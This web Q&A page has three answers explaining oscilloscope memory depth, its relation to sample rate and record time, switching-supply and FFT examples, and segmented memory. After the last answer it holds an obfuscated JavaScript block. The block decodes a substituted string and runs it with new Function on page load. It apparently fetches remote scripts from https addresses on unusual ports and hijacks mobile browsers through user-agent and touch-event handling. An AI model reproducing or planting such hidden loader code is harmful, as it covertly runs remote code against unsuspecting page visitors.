存储深度对示波器的影响到底有多大?

2025-02-25 12:52:03
推荐回答(3个)
回答1:

得益于电子技术的发展,在国外三巨头垄断的示波器领域,国产示波器也如雨后春笋般涌现出来,优秀国产示波器的代表:鼎阳(Siglent)科技和北京普源精电,如今得到了长足的发展,但由于信号传输的链路瓶颈以及IC封锁,夹缝中生长的国产示波器注定暂时只能走低端路线,这导致了国产示波器同质化比较严重、各厂家生产的示波器性能跟质量参差不齐。放眼望去,外观乃至界面各厂商都一致地采用所谓的“主流”操作方式,而作为衡量示波器的技术指标,工程师更多地考虑那些出现在产品手册和杂志广告的标题中列出的技术指标,在这些主要的技术指标中,众所周知的是带宽、采样率和存储深度。诚然带宽指标理所当然非常重要。带宽决定示波器对信号的基本测量能力。随着信号频率的增加,示波器对信号的准确显示能力将下降。如果没有足够的带宽,示波器将无法分辨高频变化。幅度将出现失真,边缘将会消失,细节数据将被丢失。如果没有足够的带宽,得到的关于信号的所有特性,响铃和振鸣等都毫无意义。本规格指出示波器所能准确测量的频率范围。每位工程师都足够重视带宽对测量的影响,所以大家都遵循测量的五倍法则:示波器所需带宽=被测信号的最高信号频率*5,使用五倍准则选定的示波器的测量误差将不会超过+/-2%,对大多的操作来说已经足够。关于采样率,指数字示波器对信号采样的频率,类似于电影摄影机中的帧的概念。示波器的采样速率越快,所显示的波形的分辨率和清晰度就越高,重要信息和事件丢失的概率就越小,信号重建时也就越真实。采样率又分为实时采样率跟等效采样率,我们平常所说的采样率是指实时采样率,这是因为实时采样率可以用来实时地捕获非周期异常信号,而等效采样率则只能用于采集周期性的稳定信号。 存储深度虽然也作为重要指标之一,但在衡量示波器时候却往往忽略它的重要性,一直以来都把它作为一个“次要”指标看待,并不是很清楚大的存储深度对于测量有什么影响,再加上有些示波器厂家对“存储深度”的误导,同时存储深度跟采样率的隐藏关联关系,导致存储深度处于一个形同虚设的指标,为了纠正这些误解,下面跟大家一起探讨什么是存储深度?大的存储深度对测量有什么影响? 何谓存储深度存储深度是示波器所能存储的采样点多少的量度。如果您需要不间断的捕捉一个脉冲串,则要求示波器有足够的存储器以便捕捉整个事件。将所要捕捉的时间长度除以精确重现信号所须的取样速度,可以计算出所要求的存储深度,也称记录长度。并不是有些国内二流厂商对外宣称的“存储深度是指波形录制时所能录制的波形最长记录“,这样的偷换概念,完全向相反方向引导人们的理解,难怪乎其技术指标高达”1042K“的记录长度。这就是为什么他们不说存储深度是在高速采样下,一次实时采集波形所能存储的波形点数。把经过A/D数字化后的八位二进制波形信息存储到示波器的高速CMOS内存中,就是示波器的存储,这个过程是“写过程”。内存的容量(存储深度)是很重要的。对于DSO,其最大存储深度是一定的,但是在实际测试中所使用的存储长度却是可变的。在存储深度一定的情况下,存储速度越快,存储时间就越短,他们之间是一个反比关系。同时采样率跟时基(timebase)是一个联动的关系,也就是调节时基档位越小采样率越高。存储速度等效于采样率,存储时间等效于采样时间,采样时间由示波器的显示窗口所代表的时间决定,所以:存储深度=采样率× 采样时间(距离 = 速度×时间)由于DSO的水平刻度分为12格,每格的所代表的时间长度即为时基(timebase),单位是s/div,所以采样时间= timebase × 12. 由存储关系式知道:提高示波器的存储深度可以间接提高示波器的采样率,当要测量较长时间的波形时,由于存储深度是固定的,所以只能降低采样率来达到,但这样势必造成波形质量的下降;如果增大存储深度,则可以以更高的采样率来测量,以获取不失真的波形。下图曲线揭示了采样率、存储深度、采样时间三者的关系及存储深度对示波器实际采样率的影响。比如,当时基选择10us/div档位时,整个示波器窗口的采样时间是10us/div * 12格=120us,在1Mpts的存储深度下,当前的实际采样率为:1M÷120us︽8.3GS/s,如果存储深度只有250K,那当前的实际采样率就只要2.0GS/s了! 存储深度决定了实际采样率的大小一句话,存储深度决定了DSO同时分析高频和低频现象的能力,包括低速信号的高频噪声和高速信号的低频调制。明白了存储深度与取样速度密切关系后,我们来浅谈下长存储对于我们平常的测量带来什么的影响呢?平常分析一个十分稳定的正弦信号,只需要500点的记录长度;但如果要解析一个复杂的数字数据流,则需要有上万个点或更多点的存储深度,这是普通存储是做不到的,这时候就需要我们选择长存储模式。可喜的是现在国产示波已经具有这样的选择,比如鼎阳(Siglent)公司推出的ADS1000CA系列示波器高达2M的存储深度,是目前国产示波器最大的存储深度示波器,打破了只有高端示波器才可能具有大的存储深度的功能。通过选择长存储模式,以便对一些操作中的细节进行优化,同时配备1G实时采样率以及高刷新率,完美再现捕获波形。长存储对平常的测量中,影响最明显的是在表头含有快速变化的数据链和功率测量中。这是由于功率电子的频率相对较低(大部分小于1MHz),这对于我们选择示波器带宽来说300MHz的示波器带宽相对于几百KHz的电源开关频率来说已经足够,但很多时候我们却忽略了对采样率和存储深度的选择.比如说在常见的开关电源的测试中,电压开关的频率一般在200KHz或者更快,由于开关信号中经常存在着工频调制,工程师需要捕获工频信号的四分之一周期或者半周期,甚至是多个周期。开关信号的上升时间约为100ns,我们建议为保证精确的重建波形需要在信号的上升沿上有5个以上的采样点,即采样率至少为5/100ns=50MS/s,也就是两个采样点之间的时间间隔要小于100/5=20ns,对于至少捕获一个工频周期的要求,意味着我们需要捕获一段20ms长的波形,这样我们可以计算出来示波器每通道所需的存储深度=20ms/20ns=1Mpts !这就是为什么我们需要大的存储深度的原因了!如果此时存储深度达不到1 Mpts,只有普通示波器的几K呢?那么要么我们无法观测如此长周期信号,要么就是观测如此长周期信号时只能以低采样率进行采样,结果波形重建的时候根本无法详细显示开关频率的波形情况。长存储模式下,既保证了采样在高速率下对信号进行采样,又能保证记录长时间的信号。如果此时只进行单次捕捉或停止采集,那么在不同时基下扩展波形时由于数据点充分,可以很好观测叠加在信号上面的小毛刺等异常信号,这对于工程师发现问题、调测设备带来极大的便利。而如果是普通存储,为了保持高的采样率,则在长的记录时间内,由于示波器的连续采样,则内存中已经记录了几帧数据,内存中的数据并不是一次采集获得的数据,此时如果停止采集,并对波形旋转时基进行放大显示,则只能达到有限的几个档位,无法实现全扫描范围的观察。在DSO中,通过快速傅立叶变换(FFT)可以得到信号的频谱,进而在频域对一个信号进行分析。如电源谐波的测量需要用FFT来观察频谱,在高速串行数据的测量中也经常用FFT来分析导致系统失效的噪声和干扰。对于FFT运算来说,示波器可用的采集内存的总量将决定可以观察信号成分的最大范围(奈奎斯特频率),同时存储深度也决定了频率分辨率△f。如果奈奎斯特频率为500 MHz,分辨率为10 kHz,考虑一下确定观察窗的长度和采集缓冲区的大小。若要获得10kHz 的分辨率,则采集时间至少为: T = 1/△f = 1/10 kHz = 100 ms,对于具有100kB 存储器的数字示波器,可以分析的最高频率为:△ f × N/2 = 10 kHz × 100kB/2 = 500MHz。对于DSO来说,长存储能产生更好的FFT结果,既增加了频率分辨率又提高了信号对噪声的比率。 一句话,长存储起到一个总览全局又细节呈现的的效果,存储深度决定了DSO同时分析高频和低频现象的能力,包括低速信号的高频噪声和高速信号的低频调制。

回答2:

有一位朋友复购了一台示波器,但是他表示这台新购的示波器有问题,原因是他测量一个同样的信号和之前的示波器很不一样,方波失真比较严重。如下图所示是他用新购的示波器测量的信号,可以看到确实方波有点变成了梯形。

而他之前使用老的那台示波器测出来的效果是这样的,可以看到确实差别很大,那么真的是这台复购的示波器有问题吗?

我们注意观察到,第一张图中示波器的当前采样率是500KSa/s,而第二张图示波器的当前采样率是500MSa/s,足足差了一千倍!虽然测量的信号是同一个信号,但是测量的条件显然不同。

这个时候有人就要问了,同样的示波器,采样率怎么不一样了?很多新人第一次选择示波器的时候,往往只会关注示波器的带宽和采样率,很多示波器厂家也会把这两项指标放在最前面,这并没有什么错误,但是很多新手并不知道,示波器的采样率并不是一个固定不变的值,它会随着存储深度大小的设置以及采集时间的变化而改变。我们之前的文章《不同采样率对波形的影响-示波器实测案例分析》也以实际案例演示的方式说明了这一点。

存储深度是一个数字示波器才有的概念,模拟示波器是不存在这个参数的。进入数字示波器的信号经过前端放大器,再经过模数转换器,通过触发系统将采集到的信号存入存储器中,最后对这些数据进行处理显示在屏幕上。这个过程中存储器的容量就是表现数字示波器存储深度大小的物理介质。

存储深度(memory depth)同时也叫记录长度(record depth),一般指标写作28Mpts,代表有二千八百万个采样点(pts=points)。存储深度和采样率以及波形记录时长,满足如下公式:采样率 = 存储深度 ÷ 波形记录时长

由此可见,示波器要想保证长时基记录下采样率不减小,就必须有足够的存储深度。而采样率也是保证信号不失真的重要指标之一。那么,什么时候需要大的存储深度呢?显然是需要长时间记录一段波形的时候,比如电源纹波和电源噪声的测量、信号的FFT分析、扩频时钟分析等,还有发现随机或罕见的信号也可以用长时基的方式来解决。

那么,存储深度是不是越大就越好呢?显然不是,示波器的存储深度选择有一个自动模式,在这个模式下示波器会保证采样率足够的前提下,尽量的选最小的存储深度。比如当示波器记录140ms波形,采样率要保证2GSa/s,那么存储深度就必须是280M;但如果只记录14ms的波形,那么28M存储深度就可以满足2GSa/s的采样率了。这个时候,即使我们设置280M的存储深度,采样率也不会改变,因为示波器的最大采样率也是固定的。示波器记录的波形点越多,那么运算的压力也就越大,这会影响示波器的性能,比较明显的结果就是波形捕获率的降低,存储深度自动模式会在存储深度和运行性能上找到一个平衡点,尽量保证波形不失真,又不影响示波器运行性能。

因此当我们选择示波器的时候,还要观察示波器在大存储深度下的运行性能,是否依然流畅,采集是否依然实时。笔者遇到过比较夸张的示波器,存储深度调大以后,示波器采集一屏幕的波形要等待10几分钟甚至半小时,这显然不是我们期待的结果。

当然,示波器大存储深度的好处,除了记录长时间的波形以外,还可以配合分段存储功能,在足够的采样率下捕获多个波形事件,以便进行有效的分析,帮助测试者捕获偶发信号和更优化地保存和显示所需的数据。

当我们测量一个信号的时候,可能有很大一部分是无用信息,我们根本不需要记录。但是这段信息却会占用存储深度。分段存储的功能就是帮助我们去除不需要看的波形片段,只保留我们需要看的波形片段,以此最大化的利用存储深度,具体的操作可以参考我们之前的文章《数字示波器分段存储功能的作用和用法》。

回答3:

存储深度表示示波器可以保存的采样点的个数。
存储深度=采样率X采样时间
什么意思呢?我们在示波器的显示屏中看到的波形,都是示波器经过对信号采样得到的采样点组成的,想要观察到的波形不失真,采样点应越多越好,采样率表示单位时间里采集的样点个数。相同的采样率下,存储深度越大,采样时间就越短,等候采集的时间就越短。我之前有个测试怎么都发现不了问题,找朋友借了他的SDS5102X,因为听他说波形刷新特别快,两个通道加起来存储深度能有500M,帮了我大忙了。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();